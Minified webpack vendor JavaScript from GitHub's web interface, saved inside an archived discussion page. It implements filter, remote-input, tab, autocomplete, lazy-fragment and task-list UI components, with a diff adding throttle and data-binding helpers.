o=(D,x)=>W(D,"name",{value:x,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed"],{13002:(D,x,M)=>{M.d(x,{Z:()=>d});class v extends HTMLElement{constructor(){super();this.currentQuery=null,this.filter=null,this.debounceInputChange=_(()=>u(this,!0)),this.boundFilterResults=()=>{u(this,!1)}}static get observedAttributes(){return["aria-owns"]}attributeChangedCallback(n,t){t&&n==="aria-owns"&&u(this,!1)}connectedCallback(){const n=this.input;!n||(n.setAttribute("autocomplete","off"),n.setAttribute("spellcheck","false"),n.addEventListener("focus",this.boundFilterResults),n.addEventListener("change",this.boundFilterResults),n.addEventListener("input",this.debounceInputChange))}disconnectedCallback(){const n=this.input;!n||(n.removeEventListener("focus",this.boundFilterResults),n.removeEventListener("change",this.boundFilterResults),n.removeEventListener("input",this.debounceInputChange))}get input(){const n=this.querySelector("input");return n instanceof HTMLInputElement?n:null}reset(){const n=this.input;n&&(n.value="",n.dispatchEvent(new Event("change",{bubbles:!0})))}}o(v,"FilterInputElement");async function u(e,n=!1){const t=e.input;if(!t)return;const a=t.value.trim(),l=e.getAttribute("aria-owns");if(!l)return;const r=document.getElementById(l);if(!r)return;const c=r.hasAttribute("data-filter-list")?r:r.querySelector("[data-filter-list]");if(!c||(e.dispatchEvent(new CustomEvent("filter-input-start",{bubbles:!0})),n&&e.currentQuery===a))return;e.currentQuery=a;const m=e.filter||S,A=c.childElementCount;let h=0,k=!1;for(const g of Array.from(c.children)){if(!(g instanceof HTMLElement))continue;const L=w(g),R=m(g,L,a);R.hideNew===!0&&(k=R.hideNew),g.hidden=!R.match,R.match&&h++}const b=r.querySelector("[data-filter-new-item]"),E=!!b&&a.length>0&&!k;b instanceof HTMLElement&&(b.hidden=!E,E&&p(b,a)),y(r,h>0||E),e.dispatchEvent(new CustomEvent("filter-input-updated",{bubbles:!0,detail:{count:h,total:A}}))}o(u,"filterResults");function S(e,n,t){return{match:n.toLowerCase().indexOf(t.toLowerCase())!==-1,hideNew:n===t}}o(S,"matchSubstring");function w(e){return((e.querySelector("[data-filter-item-text]")||e).textContent||"").trim()}o(w,"getText");function p(e,n){const t=e.querySelector("[data-filter-new-item-text]");t&&(t.textContent=n);const a=e.querySelector("[data-filter-new-item-value]");(a instanceof HTMLInputElement||a instanceof HTMLButtonElement)&&(a.value=n)}o(p,"updateNewItem");function y(e,n){const t=e.querySelector("[data-filter-empty-state]");t instanceof HTMLElement&&(t.hidden=n)}o(y,"toggleBlankslate");function _(e){let n;return function(){clearTimeout(n),n=setTimeout(()=>{clearTimeout(n),e()},300)}}o(_,"debounce");const d=v;window.customElements.get("filter-input")||(window.FilterInputElement=v,window.customElements.define("filter-input",v))},88309:(D,x,M)=>{M.d(x,{Z:()=>_});const v=new WeakMap;class u extends HTMLElement{constructor(){super();const e=w.bind(null,this,!0),n={currentQuery:null,oninput:y(e),fetch:e,controller:null};v.set(this,n)}static get observedAttributes(){return["src"]}attributeChangedCallback(e,n){n&&e==="src"&&w(this,!1)}connectedCallback(){const e=this.input;if(!e)return;e.setAttribute("autocomplete","off"),e.setAttribute("spellcheck","false");const n=v.get(this);!n||(e.addEventListener("focus",n.fetch),e.addEventListener("change",n.fetch),e.addEventListener("input",n.oninput))}disconnectedCallback(){const e=this.input;if(!e)return;const n=v.get(this);!n||(e.removeEventListener("focus",n.fetch),e.removeEventListener("change",n.fetch),e.removeEventListener("input",n.oninput))}get input(){const e=this.querySelector("input, textarea");return e instanceof HTMLInputElement||e instanceof HTMLTextAreaElement?e:null}get src(){return this.getAttribute("src")||""}set src(e){this.setAttribute("src",e)}}o(u,"RemoteInputElement");function S(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}o(S,"makeAbortController");async function w(d,e){const n=d.input;if(!n)return;const t=v.get(d);if(!t)return;const a=n.value;if(e&&t.currentQuery===a)return;t.currentQuery=a;const l=d.src;if(!l)return;const r=document.getElementById(d.getAttribute("aria-owns")||"");if(!r)return;const c=new URL(l,window.location.href),m=new URLSearchParams(c.search);m.append(d.getAttribute("param")||"q",a),c.search=m.toString(),t.controller?t.controller.abort():(d.dispatchEvent(new CustomEvent("loadstart")),d.setAttribute("loading","")),t.controller=S();let A,h="";try{A=await p(d,c.toString(),{signal:t.controller.signal,credentials:"same-origin",headers:{accept:"text/fragment+html"}}),h=await A.text(),d.removeAttribute("loading"),t.controller=null}catch(k){k.name!=="AbortError"&&(d.removeAttribute("loading"),t.controller=null);return}A&&A.ok?(r.innerHTML=h,d.dispatchEvent(new CustomEvent("remote-input-success",{bubbles:!0}))):d.dispatchEvent(new CustomEvent("remote-input-error",{bubbles:!0}))}o(w,"fetchResults");async function p(d,e,n){try{const t=await fetch(e,n);return d.dispatchEvent(new CustomEvent("load")),d.dispatchEvent(new CustomEvent("loadend")),t}catch(t){throw t.name!=="AbortError"&&(d.dispatchEvent(new CustomEvent("error")),d.dispatchEvent(new CustomEvent("loadend"))),t}}o(p,"fetchWithNetworkEvents");function y(d){let e;return function(){clearTimeout(e),e=setTimeout(()=>{clearTimeout(e),d()},300)}}o(y,"debounce");const _=u;window.customElements.get("remote-input")||(window.RemoteInputElement=u,window.customElements.define("remote-input",u))},29501:(D,x,M)=>{M.d(x,{Z:()=>u});function v(w){return Array.from(w.querySelectorAll('[role="tablist"] [role="tab"]')).filter(p=>p instanceof HTMLElement&&p.closest(w.tagName)===w)}o(v,"getTabs");class u extends HTMLElement{constructor(){super();this.addEventListener("keydown",p=>{const y=p.target;if(!(y instanceof HTMLElement)||y.closest(this.tagName)!==this||y.getAttribute("role")!=="tab"&&!y.closest('[role="tablist"]'))return;const _=v(this),d=_.indexOf(_.find(e=>e.matches('[aria-selected="true"]')));if(p.code==="ArrowRight"){let e=d+1;e>=_.length&&(e=0),S(this,e)}else if(p.code==="ArrowLeft"){let e=d-1;e<0&&(e=_.length-1),S(this,e)}else p.code==="Home"?(S(this,0),p.preventDefault()):p.code==="End"&&(S(this,_.length-1),p.preventDefault())}),this.addEventListener("click",p=>{const y=v(this);if(!(p.target instanceof Element)||p.target.closest(this.tagName)!==this)return;const _=p.target.closest('[role="tab"]');if(!(_ instanceof HTMLElement)||!_.closest('[role="tablist"]'))return;const d=y.indexOf(_);S(this,d)})}connectedCallback(){for(const p of v(this))p.hasAttribute("aria-selected")||p.setAttribute("aria-selected","false"),p.hasAttribute("tabindex")||(p.getAttribute("aria-selected")==="true"?p.setAttribute("tabindex","0"):p.setAttribute("tabindex","-1"))}}o(u,"TabContainerElement");function S(w,p){const y=v(w),_=Array.from(w.querySelectorAll('[role="tabpanel"]')).filter(t=>t.closest(w.tagName)===w),d=y[p],e=_[p];if(!!w.dispatchEvent(new CustomEvent("tab-container-change",{bubbles:!0,cancelable:!0,detail:{relatedTarget:e}}))){for(const t of y)t.setAttribute("aria-selected","false"),t.setAttribute("tabindex","-1");for(const t of _)t.hidden=!0,!t.hasAttribute("tabindex")&&!t.hasAttribute("data-tab-container-no-tabstop")&&t.setAttribute("tabindex","0");d.setAttribute("aria-selected","true"),d.setAttribute("tabindex","0"),d.focus(),e.hidden=!1,w.dispatchEvent(new CustomEvent("tab-container-changed",{bubbles:!0,detail:{relatedTarget:e}}))}}o(S,"selectTab"),window.customElements.get("tab-container")||(window.TabContainerElement=u,window.customElements.define("tab-container",u))},47142:(D,x,M)=>{M.d(x,{CD:()=>A,Gs:()=>c,m7:()=>m});var v=-1/0,u=1/0,S=-.005,w=-.005,p=-.01,y=1,_=.9,d=.8,e=.7,n=.6;function t(h){return h.toLowerCase()===h}o(t,"islower");function a(h){return h.toUpperCase()===h}o(a,"isupper");function l(h){for(var k=h.length,b=new Array(k),E="/",g=0;g1024)return v;var g=new Array(b),L=new Array(b);return r(h,k,g,L),L[b-1][E-1]}o(c,"score");function m(h,k){var b=h.length,E=k.length,g=new Array(b);if(!b||!E)return g;if(b===E){for(var L=0;L1024)return g;var R=new Array(b),O=new Array(b);r(h,k,R,O);for(var I=!1,L=b-1,T=E-1;L>=0;L--)for(;T>=0;T--)if(R[L][T]!==v&&(I||R[L][T]===O[L][T])){I=L&&T&&O[L][T]===R[L-1][T-1]+y,g[L]=T--;break}return g}o(m,"positions");function A(h,k){h=h.toLowerCase(),k=k.toLowerCase();for(var b=h.length,E=0,g=0;E{M.d(x,{Z:()=>a});var v=M(10160);class u extends CustomEvent{constructor(r,c){super(r,c);this.relatedTarget=c.relatedTarget}}o(u,"AutocompleteEvent");function S(l,r=0){let c;return function(...m){clearTimeout(c),c=window.setTimeout(()=>{clearTimeout(c),l(...m)},r)}}o(S,"debounce");const w=new WeakMap;function p(l,r){const c=new XMLHttpRequest;return c.open("GET",r,!0),c.setRequestHeader("Accept","text/fragment+html"),y(l,c)}o(p,"fragment");function y(l,r){const c=w.get(l);c&&c.abort(),w.set(l,r);const m=o(()=>w.delete(l),"clear"),A=_(r);return A.then(m,m),A}o(y,"request");function _(l){return new Promise((r,c)=>{l.onload=function(){l.status>=200&&l.status<300?r(l.responseText):c(new Error(l.responseText))},l.onerror=c,l.send()})}o(_,"send");const d=window.testScreenReaderDelay||100;class e{constructor(r,c,m,A=!1){var h;if(this.container=r,this.input=c,this.results=m,this.combobox=new v.Z(c,m),this.feedback=document.getElementById(`${this.results.id}-feedback`),this.autoselectEnabled=A,this.clearButton=document.getElementById(`${this.input.id||this.input.name}-clear`),this.clientOptions=m.querySelectorAll("[role=option]"),this.feedback&&(this.feedback.setAttribute("aria-live","polite"),this.feedback.setAttribute("aria-atomic","true")),this.clearButton&&!this.clearButton.getAttribute("aria-label")){const k=document.querySelector(`label[for="${this.input.name}"]`);this.clearButton.setAttribute("aria-label","clear:"),this.clearButton.setAttribute("aria-labelledby",`${this.clearButton.id} ${(k==null?void 0:k.id)||""}`)}this.input.getAttribute("aria-expanded")||this.input.setAttribute("aria-expanded","false"),this.results.hidden=!0,this.results.setAttribute("aria-label","results"),this.input.setAttribute("autocomplete","off"),this.input.setAttribute("spellcheck","false"),this.interactingWithList=!1,this.onInputChange=S(this.onInputChange.bind(this),300),this.onResultsMouseDown=this.onResultsMouseDown.bind(this),this.onInputBlur=this.onInputBlur.bind(this),this.onInputFocus=this.onInputFocus.bind(this),this.onKeydown=this.onKeydown.bind(this),this.onCommit=this.onCommit.bind(this),this.handleClear=this.handleClear.bind(this),this.input.addEventListener("keydown",this.onKeydown),this.input.addEventListener("focus",this.onInputFocus),this.input.addEventListener("blur",this.onInputBlur),this.input.addEventListener("input",this.onInputChange),this.results.addEventListener("mousedown",this.onResultsMouseDown),this.results.addEventListener("combobox-commit",this.onCommit),(h=this.clearButton)===null||h===void 0||h.addEventListener("click",this.handleClear)}destroy(){this.input.removeEventListener("keydown",this.onKeydown),this.input.removeEventListener("focus",this.onInputFocus),this.input.removeEventListener("blur",this.onInputBlur),this.input.removeEventListener("input",this.onInputChange),this.results.removeEventListener("mousedown",this.onResultsMouseDown),this.results.removeEventListener("combobox-commit",this.onCommit)}handleClear(r){r.preventDefault(),this.input.getAttribute("aria-expanded")==="true"&&(this.input.setAttribute("aria-expanded","false"),this.updateFeedbackForScreenReaders("Results hidden.")),this.input.value="",this.container.value="",this.input.focus(),this.input.dispatchEvent(new Event("change")),this.container.open=!1}onKeydown(r){if(r.key==="Enter"&&this.container.open&&this.autoselectEnabled){const c=this.results.children[0];c&&(r.stopPropagation(),r.preventDefault(),this.onCommit({target:c}))}if(r.key==="Escape"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowUp"&&this.container.open)this.container.open=!1,r.stopPropagation(),r.preventDefault();else if(r.altKey&&r.key==="ArrowDown"&&!this.container.open){if(!this.input.value.trim())return;this.container.open=!0,r.stopPropagation(),r.preventDefault()}}onInputFocus(){this.fetchResults()}onInputBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.container.open=!1}onCommit({target:r}){const c=r;if(!(c instanceof HTMLElement)||(this.container.open=!1,c instanceof HTMLAnchorElement))return;const m=c.getAttribute("data-autocomplete-value")||c.textContent;this.updateFeedbackForScreenReaders(`${c.textContent||""} selected.`),this.container.value=m,m||this.updateFeedbackForScreenReaders("Results hidden.")}onResultsMouseDown(){this.interactingWithList=!0}onInputChange(){this.feedback&&this.feedback.innerHTML&&(this.feedback.innerHTML=""),this.container.removeAttribute("value"),this.fetchResults()}identifyOptions(){let r=0;for(const c of this.results.querySelectorAll('[role="option"]:not([id])'))c.id=`${this.results.id}-option-${r++}`}updateFeedbackForScreenReaders(r){setTimeout(()=>{this.feedback&&(this.feedback.innerHTML=r)},d)}fetchResults(){const r=this.input.value.trim();if(!r){this.container.open=!1;return}const c=this.container.src;if(!c)return;const m=new URL(c,window.location.href),A=new URLSearchParams(m.search.slice(1));A.append("q",r),m.search=A.toString(),this.container.dispatchEvent(new CustomEvent("loadstart")),p(this.input,m.toString()).then(h=>{this.results.innerHTML=h,this.identifyOptions();const k=this.results.querySelectorAll('[role="option"]'),b=!!k.length,E=k.length,[g]=k,L=g==null?void 0:g.textContent;this.autoselectEnabled&&L?this.updateFeedbackForScreenReaders(`${E} results. ${L} is the top result: Press Enter to activate.`):this.updateFeedbackForScreenReaders(`${E||"No"} results.`),this.container.open=b,this.container.dispatchEvent(new CustomEvent("load")),this.container.dispatchEvent(new CustomEvent("loadend"))}).catch(()=>{this.container.dispatchEvent(new CustomEvent("error")),this.container.dispatchEvent(new CustomEvent("loadend"))})}open(){!this.results.hidden||(this.combobox.start(),this.results.hidden=!1)}close(){this.results.hidden||(this.combobox.stop(),this.results.hidden=!0)}}o(e,"Autocomplete");const n=new WeakMap;class t extends HTMLElement{connectedCallback(){const r=this.getAttribute("for");if(!r)return;const c=this.querySelector("input"),m=document.getElementById(r);if(!(c instanceof HTMLInputElement)||!m)return;const A=this.getAttribute("data-autoselect")==="true";n.set(this,new e(this,c,m,A)),m.setAttribute("role","listbox")}disconnectedCallback(){const r=n.get(this);r&&(r.destroy(),n.delete(this))}get src(){return this.getAttribute("src")||""}set src(r){this.setAttribute("src",r)}get value(){return this.getAttribute("value")||""}set value(r){this.setAttribute("value",r)}get open(){return this.hasAttribute("open")}set open(r){r?this.setAttribute("open",""):this.removeAttribute("open")}static get observedAttributes(){return["open","value"]}attributeChangedCallback(r,c,m){if(c===m)return;const A=n.get(this);if(!!A)switch(r){case"open":m===null?A.close():A.open();break;case"value":m!==null&&(A.input.value=m),this.dispatchEvent(new u("auto-complete-change",{bubbles:!0,relatedTarget:A.input}));break}}}o(t,"AutocompleteElement"),window.customElements.get("auto-complete")||(window.AutocompleteElement=t,window.customElements.define("auto-complete",t));const a=t},10160:(D,x,M)=>{M.d(x,{Z:()=>u});const v=!!navigator.userAgent.match(/Macintosh/);class u{constructor(a,l){this.input=a,this.list=l,this.isComposing=!1,l.id||(l.id=`combobox-${Math.random().toString().slice(2,6)}`),this.keyboardEventHandler=r=>S(r,this),this.compositionEventHandler=r=>d(r,this),this.inputHandler=this.clearSelection.bind(this),a.setAttribute("role","combobox"),a.setAttribute("aria-controls",l.id),a.setAttribute("aria-expanded","false"),a.setAttribute("aria-autocomplete","list"),a.setAttribute("aria-haspopup","listbox")}destroy(){this.clearSelection(),this.stop(),this.input.removeAttribute("role"),this.input.removeAttribute("aria-controls"),this.input.removeAttribute("aria-expanded"),this.input.removeAttribute("aria-autocomplete"),this.input.removeAttribute("aria-haspopup")}start(){this.input.setAttribute("aria-expanded","true"),this.input.addEventListener("compositionstart",this.compositionEventHandler),this.input.addEventListener("compositionend",this.compositionEventHandler),this.input.addEventListener("input",this.inputHandler),this.input.addEventListener("keydown",this.keyboardEventHandler),this.list.addEventListener("click",w)}stop(){this.clearSelection(),this.input.setAttribute("aria-expanded","false"),this.input.removeEventListener("compositionstart",this.compositionEventHandler),this.input.removeEventListener("compositionend",this.compositionEventHandler),this.input.removeEventListener("input",this.inputHandler),this.input.removeEventListener("keydown",this.keyboardEventHandler),this.list.removeEventListener("click",w)}navigate(a=1){const l=Array.from(this.list.querySelectorAll('[aria-selected="true"]')).filter(_)[0],r=Array.from(this.list.querySelectorAll('[role="option"]')).filter(_),c=r.indexOf(l);if(c===r.length-1&&a===1||c===0&&a===-1){this.clearSelection(),this.input.focus();return}let m=a===1?0:r.length-1;if(l&&c>=0){const h=c+a;h>=0&&h0||t.offsetHeight>0)}o(_,"visible");function d(t,a){a.isComposing=t.type==="compositionstart",!!document.getElementById(a.input.getAttribute("aria-controls")||"")&&a.clearSelection()}o(d,"trackComposition");function e(t,a){n(t,a)||(t.scrollTop=a.offsetTop)}o(e,"scrollTo");function n(t,a){const l=t.scrollTop,r=l+t.clientHeight,c=a.offsetTop,m=c+a.clientHeight;return c>=l&&m<=r}o(n,"inViewport")},27034:(D,x,M)=>{M.d(x,{Z:()=>d});const v=new WeakMap,u=new IntersectionObserver(e=>{for(const n of e)if(n.isIntersecting){const{target:t}=n;if(u.unobserve(t),!(t instanceof d))return;t.loading==="lazy"&&w(t)}},{rootMargin:"0px 0px 256px 0px",threshold:.01});function S(){return new Promise(e=>setTimeout(e,0))}o(S,"task");async function w(e){return u.unobserve(e),p(e).then(function(n){const t=document.createElement("template");t.innerHTML=n;const a=document.importNode(t.content,!0);!e.dispatchEvent(new CustomEvent("include-fragment-replace",{cancelable:!0,detail:{fragment:a}}))||(e.replaceWith(a),e.dispatchEvent(new CustomEvent("include-fragment-replaced")))},function(){e.classList.add("is-error")})}o(w,"handleData");function p(e){const n=e.src;let t=v.get(e);return t&&t.src===n?t.data:(n?t=y(e):t=Promise.reject(new Error("missing src")),v.set(e,{src:n,data:t}),t)}o(p,"getData");function y(e){return S().then(()=>(e.dispatchEvent(new Event("loadstart")),e.fetch(e.request()))).then(n=>{if(n.status!==200)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);const t=n.headers.get("Content-Type");if(!_(e.accept)&&(!t||!t.includes(e.accept?e.accept:"text/html")))throw new Error(`Failed to load resource: expected ${e.accept||"text/html"} but was ${t}`);return n.text()}).then(n=>(S().then(()=>{e.dispatchEvent(new Event("load")),e.dispatchEvent(new Event("loadend"))}),n),n=>{throw S().then(()=>{e.dispatchEvent(new Event("error")),e.dispatchEvent(new Event("loadend"))}),n})}o(y,"fetchDataWithEvents");function _(e){return e&&!!e.split(",").find(n=>n.match(/^\s*\*\/\*/))}o(_,"isWildcard");class d extends HTMLElement{static get observedAttributes(){return["src","loading"]}get src(){const n=this.getAttribute("src");if(n){const t=this.ownerDocument.createElement("a");return t.href=n,t.href}else return""}set src(n){this.setAttribute("src",n)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(n){this.setAttribute("loading",n)}get accept(){return this.getAttribute("accept")||""}set accept(n){this.setAttribute("accept",n)}get data(){return p(this)}attributeChangedCallback(n,t){n==="src"?this.isConnected&&this.loading==="eager"&&w(this):n==="loading"&&this.isConnected&&t!=="eager"&&this.loading==="eager"&&w(this)}constructor(){super();this.attachShadow({mode:"open"}).innerHTML=` + + `}connectedCallback(){this.src&&this.loading==="eager"&&w(this),this.loading==="lazy"&&u.observe(this)}request(){const n=this.src;if(!n)throw new Error("missing src");return new Request(n,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"text/html"}})}load(){return p(this)}fetch(n){return fetch(n)}}o(d,"IncludeFragmentElement"),window.customElements.get("include-fragment")||(window.IncludeFragmentElement=d,window.customElements.define("include-fragment",d))},40987:(D,x,M)=>{M.d(x,{Z:()=>l});const v=new WeakMap;let u=null;function S(){return!!u}o(S,"isDragging");function w(i,s,f){v.set(i,{sortStarted:s,sortFinished:f}),i.addEventListener("dragstart",_),i.addEventListener("dragenter",d),i.addEventListener("dragend",n),i.addEventListener("drop",e),i.addEventListener("dragover",t)}o(w,"sortable");function p(i,s){if(i.parentNode===s.parentNode){let f=i;for(;f;){if(f===s)return!0;f=f.previousElementSibling}}return!1}o(p,"isBefore");function y(i,s){return i.closest("task-lists")===s.closest("task-lists")}o(y,"isSameContainer");function _(i){if(i.currentTarget!==i.target)return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".contains-task-list");if(!f||(s.classList.add("is-ghost"),i.dataTransfer&&i.dataTransfer.setData("text/plain",(s.textContent||"").trim()),!s.parentElement))return;const C=Array.from(s.parentElement.children),F=C.indexOf(s),B=v.get(s);B&&B.sortStarted(f),u={didDrop:!1,dragging:s,dropzone:s,sourceList:f,sourceSibling:C[F+1]||null,sourceIndex:F}}o(_,"onDragStart");function d(i){if(!u)return;const s=i.currentTarget;if(s instanceof Element){if(!y(u.dragging,s)){i.stopPropagation();return}i.preventDefault(),i.dataTransfer&&(i.dataTransfer.dropEffect="move"),u.dropzone!==s&&(u.dragging.classList.add("is-dragging"),u.dropzone=s,p(u.dragging,s)?s.before(u.dragging):s.after(u.dragging))}}o(d,"onDragEnter");function e(i){if(!u)return;i.preventDefault(),i.stopPropagation();const s=i.currentTarget;if(!(s instanceof Element)||(u.didDrop=!0,!u.dragging.parentElement))return;let f=Array.from(u.dragging.parentElement.children).indexOf(u.dragging);const C=s.closest(".contains-task-list");if(!C||u.sourceIndex===f&&u.sourceList===C)return;u.sourceList===C&&u.sourceIndex{const C=f.target;C instanceof HTMLInputElement&&(!C.classList.contains("task-list-item-checkbox")||this.dispatchEvent(new CustomEvent("task-lists-check",{bubbles:!0,detail:{position:k(C),checked:C.checked}})))});const s=new MutationObserver(L.bind(null,this));a.set(this,s),s.observe(this,{childList:!0,subtree:!0}),L(this)}disconnectedCallback(){const s=a.get(this);s&&s.disconnect()}get disabled(){return this.hasAttribute("disabled")}set disabled(s){s?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get sortable(){return this.hasAttribute("sortable")}set sortable(s){s?this.setAttribute("sortable",""):this.removeAttribute("sortable")}static get observedAttributes(){return["disabled"]}attributeChangedCallback(s,f,C){if(f!==C)switch(s){case"disabled":R(this);break}}}o(l,"TaskListsElement");const r=document.createElement("template");r.innerHTML=` + + + `;const c=new WeakMap;function m(i){if(c.get(i))return;c.set(i,!0);const s=i.closest("task-lists");if(!(s instanceof l)||s.querySelectorAll(".task-list-item").length<=1)return;const f=r.content.cloneNode(!0),C=f.querySelector(".handle");if(i.prepend(f),!C)throw new Error("handle not found");C.addEventListener("mouseenter",P),C.addEventListener("mouseleave",H),w(i,T,q),i.addEventListener("mouseenter",A),i.addEventListener("mouseleave",h)}o(m,"initItem");function A(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest("task-lists");f instanceof l&&f.sortable&&!f.disabled&&s.classList.add("hovered")}o(A,"onListItemMouseOver");function h(i){const s=i.currentTarget;s instanceof Element&&s.classList.remove("hovered")}o(h,"onListItemMouseOut");function k(i){const s=b(i);if(!s)throw new Error(".contains-task-list not found");const f=i.closest(".task-list-item"),C=Array.from(s.children).filter(B=>B.tagName==="LI"),F=f?C.indexOf(f):-1;return[O(s),F]}o(k,"position");function b(i){const s=i.parentElement;return s?s.closest(".contains-task-list"):null}o(b,"taskList");function E(i){return b(i)===g(i)}o(E,"isRootTaskList");function g(i){const s=b(i);return s?g(s)||s:null}o(g,"rootTaskList");function L(i){const s=i.querySelectorAll(".contains-task-list > .task-list-item");for(const f of s)E(f)&&m(f);R(i)}o(L,"syncState");function R(i){for(const s of i.querySelectorAll(".task-list-item"))s.classList.toggle("enabled",!i.disabled);for(const s of i.querySelectorAll(".task-list-item-checkbox"))s instanceof HTMLInputElement&&(s.disabled=i.disabled)}o(R,"syncDisabled");function O(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");return Array.from(s.querySelectorAll("ol, ul")).indexOf(i)}o(O,"listIndex");const I=new WeakMap;function T(i){const s=i.closest("task-lists");if(!s)throw new Error("parent not found");I.set(s,Array.from(s.querySelectorAll("ol, ul")))}o(T,"onSortStart");function q({src:i,dst:s}){const f=i.list.closest("task-lists");if(!f)return;const C=I.get(f);!C||(I.delete(f),f.dispatchEvent(new CustomEvent("task-lists-move",{bubbles:!0,detail:{src:[C.indexOf(i.list),i.index],dst:[C.indexOf(s.list),s.index]}})))}o(q,"onSorted");function P(i){const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");if(!f)return;const C=f.closest("task-lists");C instanceof l&&C.sortable&&!C.disabled&&f.setAttribute("draggable","true")}o(P,"onHandleMouseOver");function H(i){if(S())return;const s=i.currentTarget;if(!(s instanceof Element))return;const f=s.closest(".task-list-item");!f||f.setAttribute("draggable","false")}o(H,"onHandleMouseOut"),window.customElements.get("task-lists")||(window.TaskListsElement=l,window.customElements.define("task-lists",l))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-f8db72a328a9.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js new file mode 100644 index 0000000..dfb6b51 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var D=Object.defineProperty;var i=(O,F)=>D(O,"name",{value:F,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"],{80425:(O,F,C)=>{C.d(F,{k:()=>_});var h=function(){for(var l=new Uint32Array(256),p=256;p--;){for(var u=p,g=8;g--;)u=u&1?3988292384^u>>>1:u>>>1;l[p]=u}return function(r){var a=-1;typeof r=="string"&&(r=function(P){for(var I=P.length,T=new Array(I),M=-1;++M>>8^l[a&255^r[f]];return(a^-1)>>>0}}(),E=i(function(l){return l<0&&(l=4294967295+l+1),("0000000"+l.toString(16)).slice(-8)},"hex"),_=i(function(l,p){var u=h(l);return p?E(u):u},"crc32")},3447:(O,F,C)=>{C.d(F,{D:()=>_,P:()=>E});var h=C(46263);function E(l=0,p={}){return(u,g,r)=>{if(!r||typeof r.value!="function")throw new Error("debounce can only decorate functions");const a=r.value;r.value=(0,h.P)(a,l,p),Object.defineProperty(u,g,r)}}i(E,"throttle");function _(l=0,p={}){return(u,g,r)=>{if(!r||typeof r.value!="function")throw new Error("debounce can only decorate functions");const a=r.value;r.value=(0,h.D)(a,l,p),Object.defineProperty(u,g,r)}}i(_,"debounce")},46263:(O,F,C)=>{C.d(F,{D:()=>E,P:()=>h});function h(_,l=0,{start:p=!0,middle:u=!0,once:g=!1}={}){let r=0,a,f=!1;function A(...P){if(f)return;const I=Date.now()-r;r=Date.now(),p?(p=!1,_.apply(this,P),g&&A.cancel()):(u&&I{r=Date.now(),_.apply(this,P),g&&A.cancel()},u?l-I:l))}return i(A,"fn"),A.cancel=()=>{clearTimeout(a),f=!0},A}i(h,"throttle");function E(_,l=0,{start:p=!1,middle:u=!1,once:g=!1}={}){return h(_,l,{start:p,middle:u,once:g})}i(E,"debounce")},47142:(O,F,C)=>{C.d(F,{CD:()=>x,Gs:()=>M,m7:()=>R});var h=-1/0,E=1/0,_=-.005,l=-.005,p=-.01,u=1,g=.9,r=.8,a=.7,f=.6;function A(y){return y.toLowerCase()===y}i(A,"islower");function P(y){return y.toUpperCase()===y}i(P,"isupper");function I(y){for(var S=y.length,b=new Array(S),w="/",v=0;v1024)return h;var v=new Array(b),s=new Array(b);return T(y,S,v,s),s[b-1][w-1]}i(M,"score");function R(y,S){var b=y.length,w=S.length,v=new Array(b);if(!b||!w)return v;if(b===w){for(var s=0;s1024)return v;var e=new Array(b),n=new Array(b);T(y,S,e,n);for(var c=!1,s=b-1,t=w-1;s>=0;s--)for(;t>=0;t--)if(e[s][t]!==h&&(c||e[s][t]===n[s][t])){c=s&&t&&n[s][t]===e[s-1][t-1]+u,v[s]=t--;break}return v}i(R,"positions");function x(y,S){y=y.toLowerCase(),S=S.toLowerCase();for(var b=y.length,w=0,v=0;w{C.d(F,{Lj:()=>x,Ih:()=>c,fA:()=>P,GO:()=>I});const h=new WeakSet;function E(t){h.add(t),t.shadowRoot&&_(t.shadowRoot),u(t),p(t.ownerDocument)}i(E,"bind");function _(t){u(t),p(t)}i(_,"bindShadow");const l=new WeakMap;function p(t=document){if(l.has(t))return l.get(t);let o=!1;const d=new MutationObserver(k=>{for(const N of k)if(N.type==="attributes"&&N.target instanceof Element)a(N.target);else if(N.type==="childList"&&N.addedNodes.length)for(const L of N.addedNodes)L instanceof Element&&u(L)});d.observe(t,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const m={get closed(){return o},unsubscribe(){o=!0,l.delete(t),d.disconnect()}};return l.set(t,m),m}i(p,"listenForBind");function u(t){for(const o of t.querySelectorAll("[data-action]"))a(o);t instanceof Element&&t.hasAttribute("data-action")&&a(t)}i(u,"bindElements");function g(t){const o=t.currentTarget;for(const d of r(o))if(t.type===d.type){const m=o.closest(d.tag);h.has(m)&&typeof m[d.method]=="function"&&m[d.method](t);const k=o.getRootNode();if(k instanceof ShadowRoot&&h.has(k.host)&&k.host.matches(d.tag)){const N=k.host;typeof N[d.method]=="function"&&N[d.method](t)}}}i(g,"handleEvent");function*r(t){for(const o of(t.getAttribute("data-action")||"").trim().split(/\s+/)){const 